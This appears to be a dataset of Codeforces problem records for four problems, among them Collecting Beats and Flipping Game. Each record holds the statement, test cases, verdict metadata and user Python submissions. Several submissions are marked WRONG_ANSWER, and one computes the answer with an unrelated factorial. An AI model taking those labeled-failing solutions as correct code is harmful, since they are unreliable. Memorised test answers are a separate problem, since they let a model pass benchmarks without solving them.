```python astr = input() ssort = "".join(dict.fromkeys(astr)) result = 0 f = ssort.find('h') a = 0 b = 0 c = 0 d = 0 for i in ssort: if ssort[f+1] == 'e' and ssort[f+2] == 'l' and ssort[f+3] == 'o': result = 1 break if i == 'h': a = a + 1 if i == 'e': b = b + 1 if i == 'l': c = c + 1 if i == 'o': d = d + 1 if a >= 1 and b >= 1 and c >= 1 and d >= 1: result = 1 if result == 0: print("NO") else: print("YES") ```
0
373
A
Collecting Beats is Fun
PROGRAMMING
900
[ "implementation" ]
null
null
Cucumber boy is fan of Kyubeat, a famous music game. Kyubeat has 16 panels for playing arranged in 4<=×<=4 table. When a panel lights up, he has to press that panel. Each panel has a timing to press (the preffered time when a player should press it), and Cucumber boy is able to press at most *k* panels in a time with his one hand. Cucumber boy is trying to press all panels in perfect timing, that is he wants to press each panel exactly in its preffered time. If he cannot press the panels with his two hands in perfect timing, his challenge to press all the panels in perfect timing will fail. You are given one scene of Kyubeat's panel from the music Cucumber boy is trying. Tell him is he able to press all the panels in perfect timing.
The first line contains a single integer *k* (1<=≤<=*k*<=≤<=5) — the number of panels Cucumber boy can press with his one hand. Next 4 lines contain 4 characters each (digits from 1 to 9, or period) — table of panels. If a digit *i* was written on the panel, it means the boy has to press that panel in time *i*. If period was written on the panel, he doesn't have to press that panel.
Output "YES" (without quotes), if he is able to press all the panels in perfect timing. If not, output "NO" (without quotes).
[ "1\n.135\n1247\n3468\n5789\n", "5\n..1.\n1111\n..1.\n..1.\n", "1\n....\n12.1\n.2..\n.2..\n" ]
[ "YES\n", "YES\n", "NO\n" ]
In the third sample boy cannot press all panels in perfect timing. He can press all the panels in timing in time 1, but he cannot press the panels in time 2 in timing with his two hands.
500
[ { "input": "1\n.135\n1247\n3468\n5789", "output": "YES" }, { "input": "5\n..1.\n1111\n..1.\n..1.", "output": "YES" }, { "input": "1\n....\n12.1\n.2..\n.2..", "output": "NO" }, { "input": "1\n6981\n.527\n4163\n2345", "output": "YES" }, { "input": "5\n9999\n9999\n9999\n9999", "output": "NO" }, { "input": "2\n4444\n3333\n2222\n1111", "output": "YES" }, { "input": "3\n2123\n1232\n2321\n3213", "output": "NO" }, { "input": "2\n1...\n.1..\n..1.\n...1", "output": "YES" }, { "input": "2\n1.1.\n.1.1\n2.2.\n.222", "output": "NO" }, { "input": "1\n1..2\n.3.4\n567.\n.89.", "output": "YES" }, { "input": "1\n1122\n3344\n5588\n6699", "output": "YES" }, { "input": "4\n1111\n1221\n1221\n1111", "output": "NO" }, { "input": "5\n3141\n5926\n5358\n9793", "output": "YES" }, { "input": "5\n5454\n4343\n3232\n2121", "output": "YES" }, { "input": "5\n1222\n2221\n2221\n1122", "output": "NO" }, { "input": "1\n....\n5..5\n6..6\n7..7", "output": "YES" }, { "input": "1\n9875\n8643\n7421\n531.", "output": "YES" }, { "input": "1\n..1.\n..1.\n..1.\n..1.", "output": "NO" }, { "input": "4\n4.4.\n4.4.\n4444\n..4.", "output": "NO" }, { "input": "5\n4.4.\n4.4.\n4444\n..4.", "output": "YES" }, { "input": "3\n1.1.\n.1.1\n1.1.\n.1.1", "output": "NO" }, { "input": "2\n1131\n4412\n2569\n3478", "output": "YES" }, { "input": "2\n8888\n8888\n8888\n8888", "output": "NO" } ]
1,459,433,293
2,147,483,647
Python 3
OK
TESTS
27
77
4,608,000
import sys k = 2*int(input()) string = "" dic = {} for i in range(4): string += input() string = string.replace(".", "") for i in string: if i not in dic: dic[i] = 1 else: dic[i] += 1 for i in dic: if dic[i] > k: print("NO") sys.exit() print("YES")
Title: Collecting Beats is Fun Time Limit: None seconds Memory Limit: None megabytes Problem Description: Cucumber boy is fan of Kyubeat, a famous music game. Kyubeat has 16 panels for playing arranged in 4<=×<=4 table. When a panel lights up, he has to press that panel. Each panel has a timing to press (the preffered time when a player should press it), and Cucumber boy is able to press at most *k* panels in a time with his one hand. Cucumber boy is trying to press all panels in perfect timing, that is he wants to press each panel exactly in its preffered time. If he cannot press the panels with his two hands in perfect timing, his challenge to press all the panels in perfect timing will fail. You are given one scene of Kyubeat's panel from the music Cucumber boy is trying. Tell him is he able to press all the panels in perfect timing. Input Specification: The first line contains a single integer *k* (1<=≤<=*k*<=≤<=5) — the number of panels Cucumber boy can press with his one hand. Next 4 lines contain 4 characters each (digits from 1 to 9, or period) — table of panels. If a digit *i* was written on the panel, it means the boy has to press that panel in time *i*. If period was written on the panel, he doesn't have to press that panel. Output Specification: Output "YES" (without quotes), if he is able to press all the panels in perfect timing. If not, output "NO" (without quotes). Demo Input: ['1\n.135\n1247\n3468\n5789\n', '5\n..1.\n1111\n..1.\n..1.\n', '1\n....\n12.1\n.2..\n.2..\n'] Demo Output: ['YES\n', 'YES\n', 'NO\n'] Note: In the third sample boy cannot press all panels in perfect timing. He can press all the panels in timing in time 1, but he cannot press the panels in time 2 in timing with his two hands.
```python import sys k = 2*int(input()) string = "" dic = {} for i in range(4): string += input() string = string.replace(".", "") for i in string: if i not in dic: dic[i] = 1 else: dic[i] += 1 for i in dic: if dic[i] > k: print("NO") sys.exit() print("YES") ```
3
327
A
Flipping Game
PROGRAMMING
1,200
[ "brute force", "dp", "implementation" ]
null
null
Iahub got bored, so he invented a game to be played on paper. He writes *n* integers *a*1,<=*a*2,<=...,<=*a**n*. Each of those integers can be either 0 or 1. He's allowed to do exactly one move: he chooses two indices *i* and *j* (1<=≤<=*i*<=≤<=*j*<=≤<=*n*) and flips all values *a**k* for which their positions are in range [*i*,<=*j*] (that is *i*<=≤<=*k*<=≤<=*j*). Flip the value of *x* means to apply operation *x*<==<=1 - *x*. The goal of the game is that after exactly one move to obtain the maximum number of ones. Write a program to solve the little game of Iahub.
The first line of the input contains an integer *n* (1<=≤<=*n*<=≤<=100). In the second line of the input there are *n* integers: *a*1,<=*a*2,<=...,<=*a**n*. It is guaranteed that each of those *n* values is either 0 or 1.
Print an integer — the maximal number of 1s that can be obtained after exactly one move.
[ "5\n1 0 0 1 0\n", "4\n1 0 0 1\n" ]
[ "4\n", "4\n" ]
In the first case, flip the segment from 2 to 5 (*i* = 2, *j* = 5). That flip changes the sequence, it becomes: [1 1 1 0 1]. So, it contains four ones. There is no way to make the whole sequence equal to [1 1 1 1 1]. In the second case, flipping only the second and the third element (*i* = 2, *j* = 3) will turn all numbers into 1.
500
[ { "input": "5\n1 0 0 1 0", "output": "4" }, { "input": "4\n1 0 0 1", "output": "4" }, { "input": "1\n1", "output": "0" }, { "input": "1\n0", "output": "1" }, { "input": "8\n1 0 0 0 1 0 0 0", "output": "7" }, { "input": "18\n0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0", "output": "18" }, { "input": "23\n1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1", "output": "22" }, { "input": "100\n0 1 0 1 1 1 0 1 0 1 0 0 1 1 1 1 0 0 1 1 1 1 1 1 1 0 0 1 1 1 0 1 1 0 0 0 1 1 1 1 0 0 1 1 1 0 0 1 1 0 1 1 1 0 0 0 1 0 0 0 0 0 1 1 0 0 1 1 1 1 1 1 1 1 0 1 1 1 0 1 0 0 0 0 0 1 1 1 1 1 1 1 1 1 1 1 1 1 0 1", "output": "70" }, { "input": "100\n0 1 1 0 1 0 0 1 0 0 0 1 1 0 0 0 1 1 1 0 1 0 0 0 0 0 1 0 1 0 1 0 1 0 1 0 0 0 1 0 0 0 0 0 1 1 0 1 0 1 0 1 1 1 0 1 0 1 1 0 0 1 1 0 0 1 1 1 0 0 1 0 0 1 1 0 1 0 0 1 1 0 1 0 0 1 1 0 0 0 0 1 0 0 0 0 1 1 1 1", "output": "60" }, { "input": "18\n0 1 0 1 0 1 0 1 0 1 1 0 1 1 0 1 1 0", "output": "11" }, { "input": "25\n0 1 0 0 0 0 0 1 0 1 0 1 0 0 0 0 1 1 1 0 0 1 1 0 1", "output": "18" }, { "input": "55\n0 0 1 1 0 0 0 1 0 1 1 0 1 1 1 0 1 1 1 1 1 0 0 1 0 0 1 0 1 1 0 0 1 0 1 1 0 1 1 1 1 0 1 1 0 0 0 0 1 1 0 1 1 1 1", "output": "36" }, { "input": "75\n1 1 0 1 0 1 1 0 0 0 0 0 1 1 1 1 1 0 1 0 1 0 0 0 0 1 1 1 0 1 0 0 1 1 0 1 0 0 1 1 0 1 0 1 0 1 0 0 0 0 1 0 0 1 1 1 0 0 1 0 1 1 0 0 0 0 1 1 0 0 0 1 0 0 0", "output": "44" }, { "input": "100\n0 0 1 0 1 0 0 1 1 0 1 1 0 1 0 1 1 0 0 0 0 0 1 0 0 1 1 0 0 0 1 0 0 1 1 0 0 1 1 1 0 0 0 0 1 0 1 1 1 0 0 1 0 1 1 1 1 1 1 1 0 1 0 1 0 0 1 0 1 1 1 0 0 0 0 1 0 1 1 0 0 1 1 0 1 1 1 1 0 1 1 1 0 0 1 1 0 1 0 1", "output": "61" }, { "input": "100\n0 0 0 1 0 0 0 1 0 1 1 0 1 1 1 1 1 0 1 0 1 1 0 0 1 1 0 1 0 1 0 1 0 1 1 0 1 1 0 0 0 1 1 1 1 0 1 1 0 1 1 1 1 0 1 0 0 1 0 1 0 0 0 0 1 1 0 0 1 0 0 1 1 0 1 1 0 1 0 0 1 1 0 1 1 1 1 0 1 0 0 1 0 1 1 1 0 1 1 0", "output": "61" }, { "input": "100\n0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0", "output": "100" }, { "input": "100\n1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1", "output": "99" }, { "input": "100\n0 0 1 1 1 0 1 1 0 0 1 0 1 0 1 0 0 1 0 1 1 0 0 1 1 1 1 1 1 0 1 0 0 1 0 0 0 0 1 1 1 0 1 1 1 0 1 1 1 0 0 1 0 0 1 1 0 0 0 1 1 1 0 1 1 0 0 0 0 1 0 0 1 0 1 0 0 0 0 0 0 1 1 1 0 1 1 1 0 1 1 1 1 1 0 0 0 0 1 0", "output": "61" }, { "input": "100\n0 1 1 1 1 1 1 0 0 0 1 1 0 0 0 1 0 0 0 0 0 0 1 1 1 0 0 0 1 1 1 0 1 0 0 1 1 0 0 0 1 1 1 1 1 1 1 1 1 1 0 0 1 0 1 0 0 0 0 1 0 1 0 1 0 0 1 0 1 0 1 1 0 0 0 0 0 1 1 1 0 1 1 0 1 1 0 0 0 1 0 1 1 0 0 0 0 0 0 1", "output": "59" }, { "input": "99\n1 1 0 0 0 1 0 0 0 0 0 0 0 0 0 1 1 1 1 1 1 1 1 1 1 1 1 0 1 1 0 0 0 0 0 0 1 1 0 0 1 0 1 1 1 0 0 0 0 0 1 0 0 0 0 0 0 1 0 1 1 0 1 0 0 1 1 0 1 0 0 0 1 1 1 1 0 1 1 1 0 0 1 1 0 0 0 0 1 0 0 0 0 0 1 0 1 1 1", "output": "61" }, { "input": "2\n1 1", "output": "1" } ]
1,660,359,300
2,147,483,647
PyPy 3-64
WRONG_ANSWER
TESTS
2
92
0
n = int(input()) a = list(map(int, input().split())) m = 0 for i in range(n + 1): for j in range(i, n + 1): m = max(m, 2 * a[i:j].count(0) - (j - i)) print(m + a.count(1))
Title: Flipping Game Time Limit: None seconds Memory Limit: None megabytes Problem Description: Iahub got bored, so he invented a game to be played on paper. He writes *n* integers *a*1,<=*a*2,<=...,<=*a**n*. Each of those integers can be either 0 or 1. He's allowed to do exactly one move: he chooses two indices *i* and *j* (1<=≤<=*i*<=≤<=*j*<=≤<=*n*) and flips all values *a**k* for which their positions are in range [*i*,<=*j*] (that is *i*<=≤<=*k*<=≤<=*j*). Flip the value of *x* means to apply operation *x*<==<=1 - *x*. The goal of the game is that after exactly one move to obtain the maximum number of ones. Write a program to solve the little game of Iahub. Input Specification: The first line of the input contains an integer *n* (1<=≤<=*n*<=≤<=100). In the second line of the input there are *n* integers: *a*1,<=*a*2,<=...,<=*a**n*. It is guaranteed that each of those *n* values is either 0 or 1. Output Specification: Print an integer — the maximal number of 1s that can be obtained after exactly one move. Demo Input: ['5\n1 0 0 1 0\n', '4\n1 0 0 1\n'] Demo Output: ['4\n', '4\n'] Note: In the first case, flip the segment from 2 to 5 (*i* = 2, *j* = 5). That flip changes the sequence, it becomes: [1 1 1 0 1]. So, it contains four ones. There is no way to make the whole sequence equal to [1 1 1 1 1]. In the second case, flipping only the second and the third element (*i* = 2, *j* = 3) will turn all numbers into 1.
```python n = int(input()) a = list(map(int, input().split())) m = 0 for i in range(n + 1): for j in range(i, n + 1): m = max(m, 2 * a[i:j].count(0) - (j - i)) print(m + a.count(1)) ```
0
712
C
Memory and De-Evolution
PROGRAMMING
1,600
[ "greedy", "math" ]
null
null
Memory is now interested in the de-evolution of objects, specifically triangles. He starts with an equilateral triangle of side length *x*, and he wishes to perform operations to obtain an equilateral triangle of side length *y*. In a single second, he can modify the length of a single side of the current triangle such that it remains a non-degenerate triangle (triangle of positive area). At any moment of time, the length of each side should be integer. What is the minimum number of seconds required for Memory to obtain the equilateral triangle of side length *y*?
The first and only line contains two integers *x* and *y* (3<=≤<=*y*<=&lt;<=*x*<=≤<=100<=000) — the starting and ending equilateral triangle side lengths respectively.
Print a single integer — the minimum number of seconds required for Memory to obtain the equilateral triangle of side length *y* if he starts with the equilateral triangle of side length *x*.
[ "6 3\n", "8 5\n", "22 4\n" ]
[ "4\n", "3\n", "6\n" ]
In the first sample test, Memory starts with an equilateral triangle of side length 6 and wants one of side length 3. Denote a triangle with sides *a*, *b*, and *c* as (*a*, *b*, *c*). Then, Memory can do <img align="middle" class="tex-formula" src="https://espresso.codeforces.com/18af21f738bad490df83097a90e1f2879a4b21c6.png" style="max-width: 100.0%;max-height: 100.0%;"/>. In the second sample test, Memory can do <img align="middle" class="tex-formula" src="https://espresso.codeforces.com/bcfd51d1b2d764a1cf5fbc255cc02e6f5aaed3b1.png" style="max-width: 100.0%;max-height: 100.0%;"/>. In the third sample test, Memory can do: <img align="middle" class="tex-formula" src="https://espresso.codeforces.com/0969b7d413854c1e7528991d926bef1f7ffba008.png" style="max-width: 100.0%;max-height: 100.0%;"/> <img align="middle" class="tex-formula" src="https://espresso.codeforces.com/63e9e66b882c03e4c73e93ad92204dc255329309.png" style="max-width: 100.0%;max-height: 100.0%;"/>.
1,500
[ { "input": "6 3", "output": "4" }, { "input": "8 5", "output": "3" }, { "input": "22 4", "output": "6" }, { "input": "4 3", "output": "3" }, { "input": "57 27", "output": "4" }, { "input": "61 3", "output": "9" }, { "input": "5 4", "output": "3" }, { "input": "10 6", "output": "3" }, { "input": "20 10", "output": "4" }, { "input": "30 5", "output": "6" }, { "input": "25 24", "output": "3" }, { "input": "25 3", "output": "7" }, { "input": "12 7", "output": "3" }, { "input": "18 6", "output": "5" }, { "input": "100000 3", "output": "25" }, { "input": "100000 9999", "output": "7" }, { "input": "9999 3", "output": "20" }, { "input": "5323 32", "output": "13" }, { "input": "6666 66", "output": "12" }, { "input": "38578 32201", "output": "3" }, { "input": "49449 5291", "output": "7" }, { "input": "65310 32879", "output": "3" }, { "input": "41183 4453", "output": "7" }, { "input": "49127 9714", "output": "6" }, { "input": "19684 12784", "output": "3" }, { "input": "15332 5489", "output": "4" }, { "input": "33904 32701", "output": "3" }, { "input": "9258 2966", "output": "5" }, { "input": "21648 11231", "output": "3" }, { "input": "90952 47239", "output": "3" }, { "input": "49298 23199", "output": "4" }, { "input": "33643 24915", "output": "3" }, { "input": "40651 5137", "output": "6" }, { "input": "52991 15644", "output": "5" }, { "input": "97075 62157", "output": "3" }, { "input": "82767 53725", "output": "3" }, { "input": "58915 26212", "output": "4" }, { "input": "86516 16353", "output": "6" }, { "input": "14746 7504", "output": "3" }, { "input": "20404 7529", "output": "4" }, { "input": "52614 8572", "output": "6" }, { "input": "50561 50123", "output": "3" }, { "input": "37509 7908", "output": "5" }, { "input": "36575 23933", "output": "3" }, { "input": "75842 8002", "output": "7" }, { "input": "47357 2692", "output": "8" }, { "input": "23214 4255", "output": "6" }, { "input": "9474 46", "output": "13" }, { "input": "79874 76143", "output": "3" }, { "input": "63784 31333", "output": "4" }, { "input": "70689 29493", "output": "4" }, { "input": "43575 4086", "output": "7" }, { "input": "87099 7410", "output": "7" }, { "input": "75749 55910", "output": "3" }, { "input": "87827 20996", "output": "5" }, { "input": "31162 4580", "output": "6" }, { "input": "63175 33696", "output": "3" }, { "input": "15108 10033", "output": "3" }, { "input": "82991 29195", "output": "4" }, { "input": "48258 12837", "output": "5" }, { "input": "59859 33779", "output": "3" }, { "input": "93698 23890", "output": "5" }, { "input": "42724 379", "output": "12" }, { "input": "70434 39286", "output": "3" }, { "input": "69826 18300", "output": "5" }, { "input": "57825 17636", "output": "5" }, { "input": "64898 2076", "output": "9" }, { "input": "76375 67152", "output": "3" }, { "input": "30698 3778", "output": "7" }, { "input": "100 3", "output": "10" }, { "input": "41 3", "output": "8" }, { "input": "28 4", "output": "7" }, { "input": "2487 19", "output": "12" }, { "input": "100000 25000", "output": "5" }, { "input": "10000 3", "output": "20" }, { "input": "16 3", "output": "6" } ]
1,473,531,131
5,231
Python 3
WRONG_ANSWER
PRETESTS
4
62
0
import math x,y=map(int,input().split()) if(math.floor(x/y)==1): print("3") else: print(4+abs(math.factorial(y)-x))
Title: Memory and De-Evolution Time Limit: None seconds Memory Limit: None megabytes Problem Description: Memory is now interested in the de-evolution of objects, specifically triangles. He starts with an equilateral triangle of side length *x*, and he wishes to perform operations to obtain an equilateral triangle of side length *y*. In a single second, he can modify the length of a single side of the current triangle such that it remains a non-degenerate triangle (triangle of positive area). At any moment of time, the length of each side should be integer. What is the minimum number of seconds required for Memory to obtain the equilateral triangle of side length *y*? Input Specification: The first and only line contains two integers *x* and *y* (3<=≤<=*y*<=&lt;<=*x*<=≤<=100<=000) — the starting and ending equilateral triangle side lengths respectively. Output Specification: Print a single integer — the minimum number of seconds required for Memory to obtain the equilateral triangle of side length *y* if he starts with the equilateral triangle of side length *x*. Demo Input: ['6 3\n', '8 5\n', '22 4\n'] Demo Output: ['4\n', '3\n', '6\n'] Note: In the first sample test, Memory starts with an equilateral triangle of side length 6 and wants one of side length 3. Denote a triangle with sides *a*, *b*, and *c* as (*a*, *b*, *c*). Then, Memory can do <img align="middle" class="tex-formula" src="https://espresso.codeforces.com/18af21f738bad490df83097a90e1f2879a4b21c6.png" style="max-width: 100.0%;max-height: 100.0%;"/>. In the second sample test, Memory can do <img align="middle" class="tex-formula" src="https://espresso.codeforces.com/bcfd51d1b2d764a1cf5fbc255cc02e6f5aaed3b1.png" style="max-width: 100.0%;max-height: 100.0%;"/>. In the third sample test, Memory can do: <img align="middle" class="tex-formula" src="https://espresso.codeforces.com/0969b7d413854c1e7528991d926bef1f7ffba008.png" style="max-width: 100.0%;max-height: 100.0%;"/> <img align="middle" class="tex-formula" src="https://espresso.codeforces.com/63e9e66b882c03e4c73e93ad92204dc255329309.png" style="max-width: 100.0%;max-height: 100.0%;"/>.
```python import math x,y=map(int,input().split()) if(math.floor(x/y)==1): print("3") else: print(4+abs(math.factorial(y)-x)) ```
0
296
A
Yaroslav and Permutations
PROGRAMMING
1,100
[ "greedy", "math" ]
null
null
Yaroslav has an array that consists of *n* integers. In one second Yaroslav can swap two neighboring array elements. Now Yaroslav is wondering if he can obtain an array where any two neighboring elements would be distinct in a finite time. Help Yaroslav.
The first line contains integer *n* (1<=≤<=*n*<=≤<=100) — the number of elements in the array. The second line contains *n* integers *a*1,<=*a*2,<=...,<=*a**n* (1<=≤<=*a**i*<=≤<=1000) — the array elements.
In the single line print "YES" (without the quotes) if Yaroslav can obtain the array he needs, and "NO" (without the quotes) otherwise.
[ "1\n1\n", "3\n1 1 2\n", "4\n7 7 7 7\n" ]
[ "YES\n", "YES\n", "NO\n" ]
In the first sample the initial array fits well. In the second sample Yaroslav can get array: 1, 2, 1. He can swap the last and the second last elements to obtain it. In the third sample Yarosav can't get the array he needs.
500
[ { "input": "1\n1", "output": "YES" }, { "input": "3\n1 1 2", "output": "YES" }, { "input": "4\n7 7 7 7", "output": "NO" }, { "input": "4\n479 170 465 146", "output": "YES" }, { "input": "5\n996 437 605 996 293", "output": "YES" }, { "input": "6\n727 539 896 668 36 896", "output": "YES" }, { "input": "7\n674 712 674 674 674 674 674", "output": "NO" }, { "input": "8\n742 742 742 742 742 289 742 742", "output": "NO" }, { "input": "9\n730 351 806 806 806 630 85 757 967", "output": "YES" }, { "input": "10\n324 539 83 440 834 640 440 440 440 440", "output": "YES" }, { "input": "7\n925 830 925 98 987 162 356", "output": "YES" }, { "input": "68\n575 32 53 351 151 942 725 967 431 108 192 8 338 458 288 754 384 946 910 210 759 222 589 423 947 507 31 414 169 901 592 763 656 411 360 625 538 549 484 596 42 603 351 292 837 375 21 597 22 349 200 669 485 282 735 54 1000 419 939 901 789 128 468 729 894 649 484 808", "output": "YES" }, { "input": "22\n618 814 515 310 617 936 452 601 250 520 557 799 304 225 9 845 610 990 703 196 486 94", "output": "YES" }, { "input": "44\n459 581 449 449 449 449 449 449 449 623 449 449 449 449 449 449 449 449 889 449 203 273 329 449 449 449 449 449 449 845 882 323 22 449 449 893 449 449 449 449 449 870 449 402", "output": "NO" }, { "input": "90\n424 3 586 183 286 89 427 618 758 833 933 170 155 722 190 977 330 369 693 426 556 435 550 442 513 146 61 719 754 140 424 280 997 688 530 550 438 867 950 194 196 298 417 287 106 489 283 456 735 115 702 317 672 787 264 314 356 186 54 913 809 833 946 314 757 322 559 647 983 482 145 197 223 130 162 536 451 174 467 45 660 293 440 254 25 155 511 746 650 187", "output": "YES" }, { "input": "14\n959 203 478 315 788 788 373 834 488 519 774 764 193 103", "output": "YES" }, { "input": "81\n544 528 528 528 528 4 506 528 32 528 528 528 528 528 528 528 528 975 528 528 528 528 528 528 528 528 528 528 528 528 528 20 528 528 528 528 528 528 528 528 852 528 528 120 528 528 61 11 528 528 528 228 528 165 883 528 488 475 628 528 528 528 528 528 528 597 528 528 528 528 528 528 528 528 528 528 528 412 528 521 925", "output": "NO" }, { "input": "89\n354 356 352 355 355 355 352 354 354 352 355 356 355 352 354 356 354 355 355 354 353 352 352 355 355 356 352 352 353 356 352 353 354 352 355 352 353 353 353 354 353 354 354 353 356 353 353 354 354 354 354 353 352 353 355 356 356 352 356 354 353 352 355 354 356 356 356 354 354 356 354 355 354 355 353 352 354 355 352 355 355 354 356 353 353 352 356 352 353", "output": "YES" }, { "input": "71\n284 284 285 285 285 284 285 284 284 285 284 285 284 284 285 284 285 285 285 285 284 284 285 285 284 284 284 285 284 285 284 285 285 284 284 284 285 284 284 285 285 285 284 284 285 284 285 285 284 285 285 284 285 284 284 284 285 285 284 285 284 285 285 285 285 284 284 285 285 284 285", "output": "NO" }, { "input": "28\n602 216 214 825 814 760 814 28 76 814 814 288 814 814 222 707 11 490 814 543 914 705 814 751 976 814 814 99", "output": "YES" }, { "input": "48\n546 547 914 263 986 945 914 914 509 871 324 914 153 571 914 914 914 528 970 566 544 914 914 914 410 914 914 589 609 222 914 889 691 844 621 68 914 36 914 39 630 749 914 258 945 914 727 26", "output": "YES" }, { "input": "56\n516 76 516 197 516 427 174 516 706 813 94 37 516 815 516 516 937 483 16 516 842 516 638 691 516 635 516 516 453 263 516 516 635 257 125 214 29 81 516 51 362 516 677 516 903 516 949 654 221 924 516 879 516 516 972 516", "output": "YES" }, { "input": "46\n314 723 314 314 314 235 314 314 314 314 270 314 59 972 314 216 816 40 314 314 314 314 314 314 314 381 314 314 314 314 314 314 314 789 314 957 114 942 314 314 29 314 314 72 314 314", "output": "NO" }, { "input": "72\n169 169 169 599 694 81 250 529 865 406 817 169 667 169 965 169 169 663 65 169 903 169 942 763 169 807 169 603 169 169 13 169 169 810 169 291 169 169 169 169 169 169 169 713 169 440 169 169 169 169 169 480 169 169 867 169 169 169 169 169 169 169 169 393 169 169 459 169 99 169 601 800", "output": "NO" }, { "input": "100\n317 316 317 316 317 316 317 316 317 316 316 317 317 316 317 316 316 316 317 316 317 317 316 317 316 316 316 316 316 316 317 316 317 317 317 317 317 317 316 316 316 317 316 317 316 317 316 317 317 316 317 316 317 317 316 317 316 317 316 317 316 316 316 317 317 317 317 317 316 317 317 316 316 316 316 317 317 316 317 316 316 316 316 316 316 317 316 316 317 317 317 317 317 317 317 317 317 316 316 317", "output": "NO" }, { "input": "100\n510 510 510 162 969 32 510 511 510 510 911 183 496 875 903 461 510 510 123 578 510 510 510 510 510 755 510 673 510 510 763 510 510 909 510 435 487 959 807 510 368 788 557 448 284 332 510 949 510 510 777 112 857 926 487 510 510 510 678 510 510 197 829 427 698 704 409 509 510 238 314 851 510 651 510 455 682 510 714 635 973 510 443 878 510 510 510 591 510 24 596 510 43 183 510 510 671 652 214 784", "output": "YES" }, { "input": "100\n476 477 474 476 476 475 473 476 474 475 473 477 476 476 474 476 474 475 476 477 473 473 473 474 474 476 473 473 476 476 475 476 473 474 473 473 477 475 475 475 476 475 477 477 477 476 475 475 475 473 476 477 475 476 477 473 474 477 473 475 476 476 474 477 476 474 473 477 473 475 477 473 476 474 477 473 475 477 473 476 476 475 476 475 474 473 477 473 475 473 477 473 473 474 475 473 477 476 477 474", "output": "YES" }, { "input": "100\n498 498 498 498 498 499 498 499 499 499 498 498 498 498 499 498 499 499 498 499 498 498 498 499 499 499 498 498 499 499 498 498 498 499 498 499 498 498 498 499 498 499 498 498 498 498 499 498 498 499 498 498 499 498 499 499 498 499 499 499 498 498 498 498 499 498 499 498 499 499 499 499 498 498 499 499 498 499 499 498 498 499 499 498 498 499 499 499 498 498 499 498 498 498 499 499 499 498 498 499", "output": "NO" }, { "input": "100\n858 53 816 816 816 816 816 816 816 181 816 816 816 816 579 879 816 948 171 816 816 150 866 816 816 816 897 816 816 816 816 816 816 706 816 539 816 816 816 816 816 816 423 487 816 615 254 816 816 816 816 83 816 816 816 816 816 816 816 816 816 816 816 136 775 999 816 816 816 644 816 816 816 816 927 816 802 816 856 816 816 816 816 816 816 816 816 816 816 700 816 816 816 816 982 477 816 891 806 816", "output": "NO" }, { "input": "100\n167 169 169 167 169 169 167 167 167 167 168 166 170 170 169 170 170 170 169 168 166 167 170 169 167 169 168 169 166 170 166 167 170 166 166 167 169 166 166 169 166 167 168 168 170 167 168 166 168 170 167 168 167 169 169 166 168 167 170 168 167 169 168 169 166 168 168 169 169 166 170 168 167 169 170 168 167 169 168 167 168 168 166 169 170 170 166 166 167 170 167 168 167 167 169 169 166 166 169 167", "output": "YES" }, { "input": "100\n1000 1000 1000 1000 1000 1000 1000 1000 1000 1000 1000 1000 1000 1000 1000 1000 1000 1000 1000 1000 1000 1000 1000 1000 1000 1000 1000 1000 1000 1000 1000 1000 1000 1000 1000 1000 1000 1000 1000 1000 1000 1000 1000 1000 1000 1000 1000 1000 1000 1000 1000 1000 1000 1000 1000 1000 1000 1000 1000 1000 1000 1000 1000 1000 1000 1000 1000 1000 1000 1000 1000 1000 1000 1000 1000 1000 1000 1000 1000 1000 1000 1000 1000 1000 1000 1000 1000 1000 1000 1000 1000 1000 1000 1000 1000 1000 1000 1000 1000 1000", "output": "NO" }, { "input": "99\n1000 1000 1000 1000 1000 1000 1000 1000 1000 1000 1000 1000 1000 1000 1000 1000 1000 1000 1000 1000 1000 1000 1000 1000 1000 1000 1000 1000 1000 1000 1000 1000 1000 1000 1000 1000 1000 1000 1000 1000 1000 1000 1000 1000 1000 1000 1000 1000 1000 1000 1000 1000 1000 1000 1000 1000 1000 1000 1000 1000 1000 1000 1000 1000 1000 1000 1000 1000 1000 1000 1000 1000 1000 1000 1000 1000 1000 1000 1000 1000 1000 1000 1000 1000 1000 1000 1000 1000 1000 1000 1000 1000 1000 1000 1000 1000 1000 1000 1000", "output": "NO" }, { "input": "100\n1000 1000 1000 1000 1000 1000 1000 1000 1000 1000 1000 1000 1000 1000 1000 1000 1000 1000 1000 1000 1000 1000 1000 1000 1000 1000 1000 1000 1000 1000 1000 1000 1000 1000 1000 1000 1000 1000 1000 1000 1000 1000 1000 1000 1000 1000 1000 1000 1000 1000 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1", "output": "YES" }, { "input": "99\n1000 1000 1000 1000 1000 1000 1000 1000 1000 1000 1000 1000 1000 1000 1000 1000 1000 1000 1000 1000 1000 1000 1000 1000 1000 1000 1000 1000 1000 1000 1000 1000 1000 1000 1000 1000 1000 1000 1000 1000 1000 1000 1000 1000 1000 1000 1000 1000 1000 1000 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1", "output": "YES" }, { "input": "2\n1 1", "output": "NO" }, { "input": "1\n1000", "output": "YES" }, { "input": "12\n2 2 4 4 4 4 6 6 6 6 6 6", "output": "YES" } ]
1,648,276,228
2,147,483,647
PyPy 3-64
WRONG_ANSWER
TESTS
9
92
512,000
